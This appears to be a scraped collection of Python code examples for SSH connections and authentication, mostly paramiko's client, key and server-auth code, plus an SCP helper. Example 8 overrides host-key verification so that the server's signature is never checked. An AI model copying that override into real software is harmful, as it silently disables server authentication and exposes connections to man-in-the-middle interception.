Exemplo n.º 1
0
    def connect(self,
                hostname,
                port=SSH_PORT,
                username=None,
                password=None,
                pkey=None,
                key_filename=None,
                timeout=None,
                allow_agent=True,
                look_for_keys=True):
        """
        Connect to an SSH server and authenticate to it.  The server's host key
        is checked against the system host keys (see L{load_system_host_keys})
        and any local host keys (L{load_host_keys}).  If the server's hostname
        is not found in either set of host keys, the missing host key policy
        is used (see L{set_missing_host_key_policy}).  The default policy is
        to reject the key and raise an L{SSHException}.

        Authentication is attempted in the following order of priority:

            - The C{pkey} or C{key_filename} passed in (if any)
            - Any key we can find through an SSH agent
            - Any "id_rsa" or "id_dsa" key discoverable in C{~/.ssh/}
            - Plain username/password auth, if a password was given

        If a private key requires a password to unlock it, and a password is
        passed in, that password will be used to attempt to unlock the key.

        @param hostname: the server to connect to
        @type hostname: str
        @param port: the server port to connect to
        @type port: int
        @param username: the username to authenticate as (defaults to the
            current local username)
        @type username: str
        @param password: a password to use for authentication or for unlocking
            a private key
        @type password: str
        @param pkey: an optional private key to use for authentication
        @type pkey: L{PKey}
        @param key_filename: the filename, or list of filenames, of optional
            private key(s) to try for authentication
        @type key_filename: str or list(str)
        @param timeout: an optional timeout (in seconds) for the TCP connect
        @type timeout: float
        @param allow_agent: set to False to disable connecting to the SSH agent
        @type allow_agent: bool
        @param look_for_keys: set to False to disable searching for discoverable
            private key files in C{~/.ssh/}
        @type look_for_keys: bool

        @raise BadHostKeyException: if the server's host key could not be
            verified
        @raise AuthenticationException: if authentication failed
        @raise SSHException: if there was any other error connecting or
            establishing an SSH session
        @raise socket.error: if a socket error occurred while connecting
        """
        for (family, socktype, proto, canonname,
             sockaddr) in socket.getaddrinfo(hostname, port, socket.AF_UNSPEC,
                                             socket.SOCK_STREAM):
            if socktype == socket.SOCK_STREAM:
                af = family
                addr = sockaddr
                break
        else:
            raise SSHException('No suitable address family for %s' % hostname)
        sock = socket.socket(af, socket.SOCK_STREAM)
        if timeout is not None:
            try:
                sock.settimeout(timeout)
            except:
                pass
        sock.connect(addr)
        t = self._transport = Transport(sock)

        if self._log_channel is not None:
            t.set_log_channel(self._log_channel)
        t.start_client()
        ResourceManager.register(self, t)

        server_key = t.get_remote_server_key()
        keytype = server_key.get_name()

        if port == SSH_PORT:
            server_hostkey_name = hostname
        else:
            server_hostkey_name = "[%s]:%d" % (hostname, port)
        our_server_key = self._system_host_keys.get(server_hostkey_name,
                                                    {}).get(keytype, None)
        if our_server_key is None:
            our_server_key = self._host_keys.get(server_hostkey_name,
                                                 {}).get(keytype, None)
        if our_server_key is None:
            # will raise exception if the key is rejected; let that fall out
            self._policy.missing_host_key(self, server_hostkey_name,
                                          server_key)
            # if the callback returns, assume the key is ok
            our_server_key = server_key

        if server_key != our_server_key:
            raise BadHostKeyException(hostname, server_key, our_server_key)

        if username is None:
            username = getpass.getuser()

        if key_filename is None:
            key_filenames = []
        elif isinstance(key_filename, (str, unicode)):
            key_filenames = [key_filename]
        else:
            key_filenames = key_filename
        self._auth(username, password, pkey, key_filenames, allow_agent,
                   look_for_keys)
Exemplo n.º 2
0
    def _auth(self, username, password, pkey, key_filenames, allow_agent,
              look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host):
        """
        Try, in order:

            - The key passed in, if one was passed in.
            - Any key we can find through an SSH agent (if allowed).
            - Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in ~/.ssh/
              (if allowed).
            - Plain username/password auth, if a password was given.

        (The password might be needed to unlock a private key, or for
        two-factor authentication [for which it is required].)
        """
        saved_exception = None
        two_factor = False
        allowed_types = []

        # If GSS-API support and GSS-PI Key Exchange was performed, we attempt
        # authentication with gssapi-keyex.
        if gss_kex and self._transport.gss_kex_used:
            try:
                self._transport.auth_gssapi_keyex(username)
                return
            except Exception as e:
                saved_exception = e

        # Try GSS-API authentication (gssapi-with-mic) only if GSS-API Key
        # Exchange is not performed, because if we use GSS-API for the key
        # exchange, there is already a fully established GSS-API context, so
        # why should we do that again?
        if gss_auth:
            try:
                self._transport.auth_gssapi_with_mic(username, gss_host,
                                                     gss_deleg_creds)
                return
            except Exception as e:
                saved_exception = e

        if pkey is not None:
            try:
                self._log(
                    DEBUG,
                    'Trying SSH key %s' % hexlify(pkey.get_fingerprint()))
                allowed_types = self._transport.auth_publickey(username, pkey)
                two_factor = (allowed_types == ['password'])
                if not two_factor:
                    return
            except SSHException as e:
                saved_exception = e

        if not two_factor:
            for key_filename in key_filenames:
                for pkey_class in (RSAKey, DSSKey, ECDSAKey):
                    try:
                        key = pkey_class.from_private_key_file(
                            key_filename, password)
                        self._log(
                            DEBUG, 'Trying key %s from %s' %
                            (hexlify(key.get_fingerprint()), key_filename))
                        self._transport.auth_publickey(username, key)
                        two_factor = (allowed_types == ['password'])
                        if not two_factor:
                            return
                        break
                    except SSHException as e:
                        saved_exception = e

        if not two_factor and allow_agent:
            if self._agent is None:
                self._agent = Agent()

            for key in self._agent.get_keys():
                try:
                    self._log(
                        DEBUG, 'Trying SSH agent key %s' %
                        hexlify(key.get_fingerprint()))
                    # for 2-factor auth a successfully auth'd key will result in ['password']
                    allowed_types = self._transport.auth_publickey(
                        username, key)
                    two_factor = (allowed_types == ['password'])
                    if not two_factor:
                        return
                    break
                except SSHException as e:
                    saved_exception = e

        if not two_factor:
            keyfiles = []
            rsa_key = os.path.expanduser('~/.ssh/id_rsa')
            dsa_key = os.path.expanduser('~/.ssh/id_dsa')
            ecdsa_key = os.path.expanduser('~/.ssh/id_ecdsa')
            if os.path.isfile(rsa_key):
                keyfiles.append((RSAKey, rsa_key))
            if os.path.isfile(dsa_key):
                keyfiles.append((DSSKey, dsa_key))
            if os.path.isfile(ecdsa_key):
                keyfiles.append((ECDSAKey, ecdsa_key))
            # look in ~/ssh/ for windows users:
            rsa_key = os.path.expanduser('~/ssh/id_rsa')
            dsa_key = os.path.expanduser('~/ssh/id_dsa')
            ecdsa_key = os.path.expanduser('~/ssh/id_ecdsa')
            if os.path.isfile(rsa_key):
                keyfiles.append((RSAKey, rsa_key))
            if os.path.isfile(dsa_key):
                keyfiles.append((DSSKey, dsa_key))
            if os.path.isfile(ecdsa_key):
                keyfiles.append((ECDSAKey, ecdsa_key))

            if not look_for_keys:
                keyfiles = []

            for pkey_class, filename in keyfiles:
                try:
                    key = pkey_class.from_private_key_file(filename, password)
                    self._log(
                        DEBUG, 'Trying discovered key %s in %s' %
                        (hexlify(key.get_fingerprint()), filename))
                    # for 2-factor auth a successfully auth'd key will result in ['password']
                    allowed_types = self._transport.auth_publickey(
                        username, key)
                    two_factor = (allowed_types == ['password'])
                    if not two_factor:
                        return
                    break
                except (SSHException, IOError) as e:
                    saved_exception = e

        if password is not None:
            try:
                self._transport.auth_password(username, password)
                return
            except SSHException as e:
                saved_exception = e
        elif two_factor:
            raise SSHException('Two-factor authentication requires a password')

        # if we got an auth-failed exception earlier, re-raise it
        if saved_exception is not None:
            raise saved_exception
        raise SSHException('No authentication methods available')
Exemplo n.º 3
0
 def connect(self):
     conn_sock = self.__t.open_forward_agent_channel()
     if conn_sock is None:
         raise SSHException('lost ssh-agent')
     conn_sock.set_name('auth-agent')
     self._connect(conn_sock)
Exemplo n.º 4
0
class PKey(object):
    """
    Base class for public keys.
    """

    # known encryption types for private key files:
    _CIPHER_TABLE = {
        'DES-EDE3-CBC': {
            'cipher': DES3,
            'keysize': 24,
            'blocksize': 8,
            'mode': DES3.MODE_CBC
        }
    }

    def __init__(self, msg=None, data=None):
        """
        Create a new instance of this public key type.  If C{msg} is given,
        the key's public part(s) will be filled in from the message.  If
        C{data} is given, the key's public part(s) will be filled in from
        the string.

        @param msg: an optional SSH L{Message} containing a public key of this
        type.
        @type msg: L{Message}
        @param data: an optional string containing a public key of this type
        @type data: str

        @raise SSHException: if a key cannot be created from the C{data} or
        C{msg} given, or no key was passed in.
        """
        pass

    def __str__(self):
        """
        Return a string of an SSH L{Message} made up of the public part(s) of
        this key.  This string is suitable for passing to L{__init__} to
        re-create the key object later.

        @return: string representation of an SSH key message.
        @rtype: str
        """
        return ''

    def __cmp__(self, other):
        """
        Compare this key to another.  Returns 0 if this key is equivalent to
        the given key, or non-0 if they are different.  Only the public parts
        of the key are compared, so a public key will compare equal to its
        corresponding private key.

        @param other: key to compare to.
        @type other: L{PKey}
        @return: 0 if the two keys are equivalent, non-0 otherwise.
        @rtype: int
        """
        hs = hash(self)
        ho = hash(other)
        if hs != ho:
            return cmp(hs, ho)
        return cmp(str(self), str(other))

    def get_name(self):
        """
        Return the name of this private key implementation.

        @return: name of this private key type, in SSH terminology (for
        example, C{"ssh-rsa"}).
        @rtype: str
        """
        return ''

    def get_bits(self):
        """
        Return the number of significant bits in this key.  This is useful
        for judging the relative security of a key.

        @return: bits in the key.
        @rtype: int
        """
        return 0

    def can_sign(self):
        """
        Return C{True} if this key has the private part necessary for signing
        data.

        @return: C{True} if this is a private key.
        @rtype: bool
        """
        return False

    def get_fingerprint(self):
        """
        Return an MD5 fingerprint of the public part of this key.  Nothing
        secret is revealed.

        @return: a 16-byte string (binary) of the MD5 fingerprint, in SSH
            format.
        @rtype: str
        """
        return MD5.new(str(self)).digest()

    def get_base64(self):
        """
        Return a base64 string containing the public part of this key.  Nothing
        secret is revealed.  This format is compatible with that used to store
        public key files or recognized host keys.

        @return: a base64 string containing the public part of the key.
        @rtype: str

        @since: fearow
        """
        return base64.encodestring(str(self)).replace('\n', '')

    def sign_ssh_data(self, randpool, data):
        """
        Sign a blob of data with this private key, and return a L{Message}
        representing an SSH signature message.

        @param randpool: a secure random number generator.
        @type randpool: L{Crypto.Util.randpool.RandomPool}
        @param data: the data to sign.
        @type data: str
        @return: an SSH signature message.
        @rtype: L{Message}
        """
        return ''

    def verify_ssh_sig(self, data, msg):
        """
        Given a blob of data, and an SSH message representing a signature of
        that data, verify that it was signed with this key.

        @param data: the data that was signed.
        @type data: str
        @param msg: an SSH signature message
        @type msg: L{Message}
        @return: C{True} if the signature verifies correctly; C{False}
            otherwise.
        @rtype: boolean
        """
        return False

    def from_private_key_file(cl, filename, password=None):
        """
        Create a key object by reading a private key file.  If the private
        key is encrypted and C{password} is not C{None}, the given password
        will be used to decrypt the key (otherwise L{PasswordRequiredException}
        is thrown).  Through the magic of python, this factory method will
        exist in all subclasses of PKey (such as L{RSAKey} or L{DSSKey}), but
        is useless on the abstract PKey class.

        @param filename: name of the file to read.
        @type filename: str
        @param password: an optional password to use to decrypt the key file,
            if it's encrypted
        @type password: str
        @return: a new key object based on the given private key.
        @rtype: L{PKey}

        @raise IOError: if there was an error reading the file.
        @raise PasswordRequiredException: if the private key file is
            encrypted, and C{password} is C{None}.
        @raise SSHException: if the key file is invalid.

        @since: fearow
        """
        key = cl(filename=filename, password=password)
        return key

    from_private_key_file = classmethod(from_private_key_file)

    def write_private_key_file(self, filename, password=None):
        """
        Write private key contents into a file.  If the password is not
        C{None}, the key is encrypted before writing.

        @param filename: name of the file to write.
        @type filename: str
        @param password: an optional password to use to encrypt the key file.
        @type password: str

        @raise IOError: if there was an error writing the file.
        @raise SSHException: if the key is invalid.

        @since: fearow
        """
        raise exception('Not implemented in PKey')

    def _read_private_key_file(self, tag, filename, password=None):
        """
        Read an SSH2-format private key file, looking for a string of the type
        C{"BEGIN xxx PRIVATE KEY"} for some C{xxx}, base64-decode the text we
        find, and return it as a string.  If the private key is encrypted and
        C{password} is not C{None}, the given password will be used to decrypt
        the key (otherwise L{PasswordRequiredException} is thrown).

        @param tag: C{"RSA"} or C{"DSA"}, the tag used to mark the data block.
        @type tag: str
        @param filename: name of the file to read.
        @type filename: str
        @param password: an optional password to use to decrypt the key file,
            if it's encrypted.
        @type password: str
        @return: data blob that makes up the private key.
        @rtype: str

        @raise IOError: if there was an error reading the file.
        @raise PasswordRequiredException: if the private key file is
            encrypted, and C{password} is C{None}.
        @raise SSHException: if the key file is invalid.
        """
        f = open(filename, 'r')
        lines = f.readlines()
        f.close()
        start = 0
        while (start < len(lines)) and (lines[start].strip() != '-----BEGIN ' +
                                        tag + ' PRIVATE KEY-----'):
            start += 1
        if start >= len(lines):
            raise SSHException('not a valid ' + tag + ' private key file')
        # parse any headers first
        headers = {}
        start += 1
        while start < len(lines):
            l = lines[start].split(': ')
            if len(l) == 1:
                break
            headers[l[0].lower()] = l[1].strip()
            start += 1
        # find end
        end = start
        while (lines[end].strip() !=
               '-----END ' + tag + ' PRIVATE KEY-----') and (end < len(lines)):
            end += 1
        # if we trudged to the end of the file, just try to cope.
        try:
            data = base64.decodestring(''.join(lines[start:end]))
        except binascii.Error, e:
            raise SSHException('base64 decoding error: ' + str(e))
        if not headers.has_key('proc-type'):
            # unencryped: done
            return data
        # encrypted keyfile: will need a password
        if headers['proc-type'] != '4,ENCRYPTED':
            raise SSHException('Unknown private key structure "%s"' %
                               headers['proc-type'])
        try:
            encryption_type, saltstr = headers['dek-info'].split(',')
        except:
            raise SSHException('Can\'t parse DEK-info in private key file')
        if not self._CIPHER_TABLE.has_key(encryption_type):
            raise SSHException('Unknown private key cipher "%s"' %
                               encryption_type)
        # if no password was passed in, raise an exception pointing out that we need one
        if password is None:
            raise PasswordRequiredException('Private key file is encrypted')
        cipher = self._CIPHER_TABLE[encryption_type]['cipher']
        keysize = self._CIPHER_TABLE[encryption_type]['keysize']
        mode = self._CIPHER_TABLE[encryption_type]['mode']
        salt = util.unhexify(saltstr)
        key = util.generate_key_bytes(MD5, salt, password, keysize)
        return cipher.new(key, mode, salt).decrypt(data)
Exemplo n.º 5
0
    def _parse_userauth_request(self, m):
        if not self.transport.server_mode:
            # er, uh... what?
            m = Message()
            m.add_byte(cMSG_USERAUTH_FAILURE)
            m.add_string('none')
            m.add_boolean(False)
            self.transport._send_message(m)
            return
        if self.authenticated:
            # ignore
            return
        username = m.get_text()
        service = m.get_text()
        method = m.get_text()
        self.transport._log(DEBUG, 'Auth request (type=%s) service=%s, username=%s' % (method, service, username))
        if service != 'ssh-connection':
            self._disconnect_service_not_available()
            return
        if (self.auth_username is not None) and (self.auth_username != username):
            self.transport._log(WARNING, 'Auth rejected because the client attempted to change username in mid-flight')
            self._disconnect_no_more_auth()
            return
        self.auth_username = username
        # check if GSS-API authentication is enabled
        gss_auth = self.transport.server_object.enable_auth_gssapi()

        if method == 'none':
            result = self.transport.server_object.check_auth_none(username)
        elif method == 'password':
            changereq = m.get_boolean()
            password = m.get_binary()
            try:
                password = password.decode('UTF-8')
            except UnicodeError:
                # some clients/servers expect non-utf-8 passwords!
                # in this case, just return the raw byte string.
                pass
            if changereq:
                # always treated as failure, since we don't support changing passwords, but collect
                # the list of valid auth types from the callback anyway
                self.transport._log(DEBUG, 'Auth request to change passwords (rejected)')
                newpassword = m.get_binary()
                try:
                    newpassword = newpassword.decode('UTF-8', 'replace')
                except UnicodeError:
                    pass
                result = AUTH_FAILED
            else:
                result = self.transport.server_object.check_auth_password(username, password)
        elif method == 'publickey':
            sig_attached = m.get_boolean()
            keytype = m.get_text()
            keyblob = m.get_binary()
            try:
                key = self.transport._key_info[keytype](Message(keyblob))
            except SSHException as e:
                self.transport._log(INFO, 'Auth rejected: public key: %s' % str(e))
                key = None
            except:
                self.transport._log(INFO, 'Auth rejected: unsupported or mangled public key')
                key = None
            if key is None:
                self._disconnect_no_more_auth()
                return
            # first check if this key is okay... if not, we can skip the verify
            result = self.transport.server_object.check_auth_publickey(username, key)
            if result != AUTH_FAILED:
                # key is okay, verify it
                if not sig_attached:
                    # client wants to know if this key is acceptable, before it
                    # signs anything...  send special "ok" message
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_PK_OK)
                    m.add_string(keytype)
                    m.add_string(keyblob)
                    self.transport._send_message(m)
                    return
                sig = Message(m.get_binary())
                blob = self._get_session_blob(key, service, username)
                if not key.verify_ssh_sig(blob, sig):
                    self.transport._log(INFO, 'Auth rejected: invalid signature')
                    result = AUTH_FAILED
        elif method == 'keyboard-interactive':
            lang = m.get_string()
            submethods = m.get_string()
            result = self.transport.server_object.check_auth_interactive(username, submethods)
            if isinstance(result, InteractiveQuery):
                # make interactive query instead of response
                self._interactive_query(result)
                return
        elif method == "gssapi-with-mic" and gss_auth:
            sshgss = GSSAuth(method)
            # Read the number of OID mechanisms supported by the client.
            # OpenSSH sends just one OID. It's the Kerveros V5 OID and that's
            # the only OID we support.
            mechs = m.get_int()
            # We can't accept more than one OID, so if the SSH client sends
            # more than one, disconnect.
            if mechs > 1:
                self.transport._log(INFO,
                                    'Disconnect: Received more than one GSS-API OID mechanism')
                self._disconnect_no_more_auth()
            desired_mech = m.get_string()
            mech_ok = sshgss.ssh_check_mech(desired_mech)
            # if we don't support the mechanism, disconnect.
            if not mech_ok:
                self.transport._log(INFO,
                                    'Disconnect: Received an invalid GSS-API OID mechanism')
                self._disconnect_no_more_auth()
            # send the Kerberos V5 GSSAPI OID to the client
            supported_mech = sshgss.ssh_gss_oids("server")
            # RFC 4462 says we are not required to implement GSS-API error
            # messages. See section 3.8 in http://www.ietf.org/rfc/rfc4462.txt
            while True:
                m = Message()
                m.add_byte(cMSG_USERAUTH_GSSAPI_RESPONSE)
                m.add_bytes(supported_mech)
                self.transport._send_message(m)
                ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_GSSAPI_TOKEN:
                    client_token = m.get_string()
                    # use the client token as input to establish a secure
                    # context.
                    try:
                        token = sshgss.ssh_accept_sec_context(self.gss_host,
                                                              client_token,
                                                              username)
                    except Exception:
                        result = AUTH_FAILED
                        self._send_auth_result(username, method, result)
                        raise
                    if token is not None:
                        m = Message()
                        m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                        m.add_string(token)
                        self.transport._send_message(m)
                else:
                    raise SSHException("Client asked to handle paket %s"
                                       %MSG_NAMES[ptype])
                # check MIC
                ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_GSSAPI_MIC:
                    break
            mic_token = m.get_string()
            try:
                sshgss.ssh_check_mic(mic_token,
                                     self.transport.session_id,
                                     username)
            except Exception:
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
                raise
            # TODO: Implement client credential saving.
            # The OpenSSH server is able to create a TGT with the delegated
            # client credentials, but this is not supported by GSS-API.
            result = AUTH_SUCCESSFUL
            self.transport.server_object.check_auth_gssapi_with_mic(username, result)
        elif method == "gssapi-keyex" and gss_auth:
            mic_token = m.get_string()
            sshgss = self.transport.kexgss_ctxt
            if sshgss is None:
                # If there is no valid context, we reject the authentication
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
            try:
                sshgss.ssh_check_mic(mic_token,
                                     self.transport.session_id,
                                     self.auth_username)
            except Exception:
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
                raise
            result = AUTH_SUCCESSFUL
            self.transport.server_object.check_auth_gssapi_keyex(username, result)
        else:
            result = self.transport.server_object.check_auth_none(username)
        # okay, send result
        self._send_auth_result(username, method, result)
Exemplo n.º 6
0
 def parse_next(self, ptype, m):
     if self.transport.server_mode and (ptype == _MSG_KEXDH_INIT):
         return self._parse_kexdh_init(m)
     elif not self.transport.server_mode and (ptype == _MSG_KEXDH_REPLY):
         return self._parse_kexdh_reply(m)
     raise SSHException('KexGroup1 asked to handle packet type %d' % ptype)
Exemplo n.º 7
0
    def _auth(self, username, password, pkey, key_filenames, allow_agent,
              look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host):
        """
        Try, in order:

            - The key(s) passed in, if one was passed in.
            - Any key we can find through an SSH agent (if allowed).
            - Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in ~/.ssh/
              (if allowed).
            - Plain username/password auth, if a password was given.

        (The password might be needed to unlock a private key, or for
        two-factor authentication [for which it is required].)
        """
        saved_exception = None
        two_factor = False
        allowed_types = set()
        two_factor_types = set(['keyboard-interactive', 'password'])

        # If GSS-API support and GSS-PI Key Exchange was performed, we attempt
        # authentication with gssapi-keyex.
        if gss_kex and self._transport.gss_kex_used:
            try:
                self._transport.auth_gssapi_keyex(username)
                return
            except Exception as e:
                saved_exception = e

        # Try GSS-API authentication (gssapi-with-mic) only if GSS-API Key
        # Exchange is not performed, because if we use GSS-API for the key
        # exchange, there is already a fully established GSS-API context, so
        # why should we do that again?
        if gss_auth:
            try:
                self._transport.auth_gssapi_with_mic(username, gss_host,
                                                     gss_deleg_creds)
                return
            except Exception as e:
                saved_exception = e

        if pkey is not None:
            try:
                self._log(
                    DEBUG,
                    'Trying SSH key %s' % hexlify(pkey.get_fingerprint()))
                allowed_types = set(
                    self._transport.auth_publickey(username, pkey))
                two_factor = (allowed_types & two_factor_types)
                if not two_factor:
                    return
            except SSHException as e:
                saved_exception = e

        if not two_factor:
            for key_filename in key_filenames:
                for pkey_class in (RSAKey, DSSKey, ECDSAKey, Ed25519Key):
                    try:
                        key = self._key_from_filepath(
                            key_filename, pkey_class, password,
                        )
                        allowed_types = set(
                            self._transport.auth_publickey(username, key))
                        two_factor = (allowed_types & two_factor_types)
                        if not two_factor:
                            return
                        break
                    except SSHException as e:
                        saved_exception = e

        if not two_factor and allow_agent:
            if self._agent is None:
                self._agent = Agent()

            for key in self._agent.get_keys():
                try:
                    self._log(
                        DEBUG,
                        'Trying SSH agent key %s' % hexlify(
                            key.get_fingerprint()))
                    # for 2-factor auth a successfully auth'd key password
                    # will return an allowed 2fac auth method
                    allowed_types = set(
                        self._transport.auth_publickey(username, key))
                    two_factor = (allowed_types & two_factor_types)
                    if not two_factor:
                        return
                    break
                except SSHException as e:
                    saved_exception = e

        if not two_factor:
            keyfiles = []

            for keytype, name in [
                (RSAKey, "rsa"),
                (DSSKey, "dsa"),
                (ECDSAKey, "ecdsa"),
                (Ed25519Key, "ed25519"),
            ]:
                # ~/ssh/ is for windows
                for directory in [".ssh", "ssh"]:
                    full_path = os.path.expanduser(
                        "~/%s/id_%s" % (directory, name)
                    )
                    if os.path.isfile(full_path):
                        # TODO: only do this append if below did not run
                        keyfiles.append((keytype, full_path))
                        if os.path.isfile(full_path + '-cert.pub'):
                            keyfiles.append((keytype, full_path + '-cert.pub'))

            if not look_for_keys:
                keyfiles = []

            for pkey_class, filename in keyfiles:
                try:
                    key = self._key_from_filepath(
                        filename, pkey_class, password,
                    )
                    # for 2-factor auth a successfully auth'd key will result
                    # in ['password']
                    allowed_types = set(
                        self._transport.auth_publickey(username, key))
                    two_factor = (allowed_types & two_factor_types)
                    if not two_factor:
                        return
                    break
                except (SSHException, IOError) as e:
                    saved_exception = e

        if password is not None:
            try:
                self._transport.auth_password(username, password)
                return
            except SSHException as e:
                saved_exception = e
        elif two_factor:
            try:
                self._transport.auth_interactive_dumb(username)
                return
            except SSHException as e:
                saved_exception = e

        # if we got an auth-failed exception earlier, re-raise it
        if saved_exception is not None:
            raise saved_exception
        raise SSHException('No authentication methods available')
Exemplo n.º 8
0
def _paramiko_transport_verify_key(self, host_key, sig):
    key = self._key_info[self.host_key_type](Message(host_key))
    if key is None:
        raise SSHException('Unknown host key type')
    self.host_key = key
Exemplo n.º 9
0
    def scpGetAll(self, host, source, user=None, station=None):
        """
        get remote files and copy in cache Dir . similar as 'scp user @ remote:file  localfile'
        the retruned file name is added one timestamp suffix with a underscore like filename_20160627092530123456
        The timestamp has format of 4 year + 2 month + 2 day + 2 hour + 2 minute + 2 second + 6 Microsecond 
    
        :param str host: IP address of the host
        :param str source: the local files which should be in cache Dir, eg: /snlog/snmplog*
        :param str user: the user to login on remote. default is 'root'
        :param str station: string rcs host name the station to load files from
                            (default is active pilot station on lab or just host)
        :raises SSHException: if cmd failed, raise exception
        :return: the local file list with full path
        :rtype: str

        Note:
        At least one getClient() must have been executed before calling this proc
             i.e. connection is already stored in self._connections

        >>> sshManager.scpGetAll(host, source)
        """
        userSsh = 'root' if user is None else user
        client = self.getClient(host, user=userSsh)
        command = "ls " + source
        if station:
            tempDir = "/tmp/scp-" + str(randint(10000, 99999))
            mkdirCmd = "mkdir " + tempDir
            returnCode, _, _ = self.run(host, mkdirCmd, user)
            if returnCode:
                raise SSHException(mkdirCmd + " failed on target " + host)
        returnCode, stdOut, _ = self.run(host, command, user, bladeRcsHostname=station)
        if returnCode:
            raise SSHException(command + " failed on target " + host)
        fileList = stdOut.rstrip().split()
        if station:
            for fileName in fileList:
                command = "scp " + station + ":" + fileName + " " + tempDir
                returnCode, _, _ = self.run(host, command, user)
                if returnCode:
                    raise SSHException(command + " failed on target " + host)
        scpClient = SCPClient(client.get_transport())
        _localDir = SshManager.cacheDir + os.sep + host
        _localFileList = []
        if not os.path.isdir(_localDir):
            os.mkdir(_localDir)
        for fileName in fileList:
            _localPath = _localDir + os.sep + os.path.basename(fileName)
            remoteFile = fileName
            if station:
                remoteFile = tempDir + "/" + os.path.basename(fileName)
            _localPath += "_" + datetime.now().strftime('%Y%m%d%H%M%S%f')
            LOGGER.trace("scpClient.get(%s, %s) from %s@%s", remoteFile, _localPath,
                         userSsh, host)
            scpClient.get(remoteFile, _localPath)
            _localFileList.append(_localPath)
        if station:
            command = "rm -fr " + tempDir
            returnCode, _, _ = self.run(host, command, user)
            if returnCode:
                raise SSHException(command + " failed on target " + host)
        return _localFileList
Exemplo n.º 10
0
class DSSKey(PKey):
    """
    Representation of a DSS key which can be used to sign an verify SSH2
    data.
    """
    def __init__(self,
                 msg=None,
                 data=None,
                 filename=None,
                 password=None,
                 vals=None,
                 file_obj=None):
        self.p = None
        self.q = None
        self.g = None
        self.y = None
        self.x = None
        if file_obj is not None:
            self._from_private_key(file_obj, password)
            return
        if filename is not None:
            self._from_private_key_file(filename, password)
            return
        if (msg is None) and (data is not None):
            msg = Message(data)
        if vals is not None:
            self.p, self.q, self.g, self.y = vals
        else:
            if msg is None:
                raise SSHException('Key object may not be empty')
            if msg.get_string() != 'ssh-dss':
                raise SSHException('Invalid key')
            self.p = msg.get_mpint()
            self.q = msg.get_mpint()
            self.g = msg.get_mpint()
            self.y = msg.get_mpint()
        self.size = util.bit_length(self.p)

    def __str__(self):
        m = Message()
        m.add_string('ssh-dss')
        m.add_mpint(self.p)
        m.add_mpint(self.q)
        m.add_mpint(self.g)
        m.add_mpint(self.y)
        return str(m)

    def __hash__(self):
        h = hash(self.get_name())
        h = h * 37 + hash(self.p)
        h = h * 37 + hash(self.q)
        h = h * 37 + hash(self.g)
        h = h * 37 + hash(self.y)
        # h might be a long by now...
        return hash(h)

    def get_name(self):
        return 'ssh-dss'

    def get_bits(self):
        return self.size

    def can_sign(self):
        return self.x is not None

    def sign_ssh_data(self, rpool, data):
        digest = SHA.new(data).digest()
        dss = DSA.construct((long(self.y), long(self.g), long(self.p),
                             long(self.q), long(self.x)))
        # generate a suitable k
        qsize = len(util.deflate_long(self.q, 0))
        while True:
            k = util.inflate_long(rpool.get_bytes(qsize), 1)
            if (k > 2) and (k < self.q):
                break
        r, s = dss.sign(util.inflate_long(digest, 1), k)
        m = Message()
        m.add_string('ssh-dss')
        # apparently, in rare cases, r or s may be shorter than 20 bytes!
        rstr = util.deflate_long(r, 0)
        sstr = util.deflate_long(s, 0)
        if len(rstr) < 20:
            rstr = '\x00' * (20 - len(rstr)) + rstr
        if len(sstr) < 20:
            sstr = '\x00' * (20 - len(sstr)) + sstr
        m.add_string(rstr + sstr)
        return m

    def verify_ssh_sig(self, data, msg):
        if len(str(msg)) == 40:
            # spies.com bug: signature has no header
            sig = str(msg)
        else:
            kind = msg.get_string()
            if kind != 'ssh-dss':
                return 0
            sig = msg.get_string()

        # pull out (r, s) which are NOT encoded as mpints
        sigR = util.inflate_long(sig[:20], 1)
        sigS = util.inflate_long(sig[20:], 1)
        sigM = util.inflate_long(SHA.new(data).digest(), 1)

        dss = DSA.construct(
            (long(self.y), long(self.g), long(self.p), long(self.q)))
        return dss.verify(sigM, (sigR, sigS))

    def _encode_key(self):
        if self.x is None:
            raise SSHException('Not enough key information')
        keylist = [0, self.p, self.q, self.g, self.y, self.x]
        try:
            b = BER()
            b.encode(keylist)
        except BERException:
            raise SSHException('Unable to create ber encoding of key')
        return str(b)

    def write_private_key_file(self, filename, password=None):
        self._write_private_key_file('DSA', filename, self._encode_key(),
                                     password)

    def write_private_key(self, file_obj, password=None):
        self._write_private_key('DSA', file_obj, self._encode_key(), password)

    def generate(bits=1024, progress_func=None):
        """
        Generate a new private DSS key.  This factory function can be used to
        generate a new host key or authentication key.

        @param bits: number of bits the generated key should be.
        @type bits: int
        @param progress_func: an optional function to call at key points in
            key generation (used by C{pyCrypto.PublicKey}).
        @type progress_func: function
        @return: new private key
        @rtype: L{DSSKey}
        """
        randpool.stir()
        dsa = DSA.generate(bits, randpool.get_bytes, progress_func)
        key = DSSKey(vals=(dsa.p, dsa.q, dsa.g, dsa.y))
        key.x = dsa.x
        return key

    generate = staticmethod(generate)

    ###  internals...

    def _from_private_key_file(self, filename, password):
        data = self._read_private_key_file('DSA', filename, password)
        self._decode_key(data)

    def _from_private_key(self, file_obj, password):
        data = self._read_private_key('DSA', file_obj, password)
        self._decode_key(data)

    def _decode_key(self, data):
        # private key file contains:
        # DSAPrivateKey = { version = 0, p, q, g, y, x }
        try:
            keylist = BER(data).decode()
        except BERException, x:
            raise SSHException('Unable to parse key file: ' + str(x))
        if (type(keylist)
                is not list) or (len(keylist) < 6) or (keylist[0] != 0):
            raise SSHException(
                'not a valid DSA private key file (bad ber encoding)')
        self.p = keylist[1]
        self.q = keylist[2]
        self.g = keylist[3]
        self.y = keylist[4]
        self.x = keylist[5]
        self.size = util.bit_length(self.p)
Exemplo n.º 11
0
def open_ssh(user, host, key=None, port=22):
    """Opens an ssh connection to host.

    Parameters:
    ----------
    user : {str}
        Username to use
    host : {str}
        Host to connect to
    key : {str}, optional
        Path to ssh keyfile (the default is None, meaning the standard location
        '~/.ssh/id_rsa' will be checked)
